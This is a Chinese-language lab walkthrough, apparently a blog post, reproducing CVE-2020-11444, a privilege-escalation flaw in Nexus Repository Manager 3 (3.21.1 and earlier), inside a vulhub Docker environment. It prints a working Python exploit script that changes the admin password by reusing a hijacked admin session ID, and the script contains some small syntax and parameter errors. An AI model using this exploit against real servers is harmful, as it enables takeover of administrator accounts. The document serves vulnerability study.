Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-11444)

声明

好好学习,天天向上

漏洞描述

漏洞影响版本范围和危害是和CVE-2020-10199、CVE-2020-10204前后一个月时间出现的,爆出了10199和10204后面的一个补丁修复之后,再次爆出的11444漏洞。

Nexus 3 任意修改admin密码越权漏洞,可以用低权限用户登录获取sessionID越权进行修改admin用户的密码

影响范围

Nexus Repository Manager 3.x OSS / Pro <= 3.21.1

复现过程

这里使用3.21.1版本

使用vulhub

cd /app/vulhub-master/nexus/CVE-2020-10199

使用docker启动

docker-compose up -d

等待一段时间环境才能成功启动,访问如下链接即可看到Web页面。

http://your-ip:8081

该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码admin:admin登录后台(右上角Sign In)。

登录后,还需要再做一些配置,改密码吖等等

完成后,在登录状态随便一个页面刷新,抓包,获取当前用户的Cookie

我们这里使用admin的sessionID来进行越权

也就是说,使用低权的用户,替换cookie里面的sessionID为admin的sessionID,就可以修改admin用户的密码了

我这里使用user(一般用户)越权修改admin用户(管理员)

这里注意一点,先要获取admin的sessionID,将admin的sessionID替换到下面的ID中(session貌似10分钟就过期,过期再抓一次)

剩下的IP还有NX-ANTI-CSRF-TOKEN(user用户的),自行替换

#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub

import sys
import requests

if len(sys.argv)!=3:
    print('+-----------------------------------------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                                          +')
    print('+      CVE-2020-11444 Nexus 3 Unauthorized Vuln (change admin password                          +')
    print('+-----------------------------------------------------------------------------------------------+')
    print('+ USE: python3 <filename> <url> <session> <password>                                            +')
    print('+ EXP: python3 cve-2020-11444_exp.py http://ip:8081 123456 +')
    print('+ VER: Nexus Repository Manager 3.x OSS / Pro <= 3.21.1                                         +')
    print('+-----------------------------------------------------------------------------------------------+')
    sys.exit(0)

url = sys.argv[1]
vuln_url = url + "/service/rest/beta/security/users/admin/change-password"
password = sys.argv[2]

headers = {
    'accept': "application/json",
    'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36",
    'NX-ANTI-CSRF-TOKEN': "0.4256948739162416",
    'Content-Type': "text/plain",
    'Origin': "http://1292.168.239.129:8081",
    'Cookie': "NX-ANTI-CSRF-TOKEN=0.4256948739162416; NXSESSIONID="f24dc2f7-7db6-4c04-8b46-52dba909579a"
}
data = """%s""" % password

r = requests.request('PUT', url=vuln_url, headers=headers, data=data)
if r.status_code == 204:
    print ("[+] Passowrd Change Success")
    print ("[+] " + url)
    print ("[+] Username:admin Passowrd:"+password+"")
else:
    print ("[-] SessionID Not available")
    print ("[-] Target Not CVE-2020-11444 Vuln Good Luck")
    sys.exit(0)

执行

python3 cve-2020-10144_exp.py http://192.168.239.129:8081 123456

果然,admin默认密码admin登不上去了

在这里插入图片描述

使用完后关闭镜像

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose build
docker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值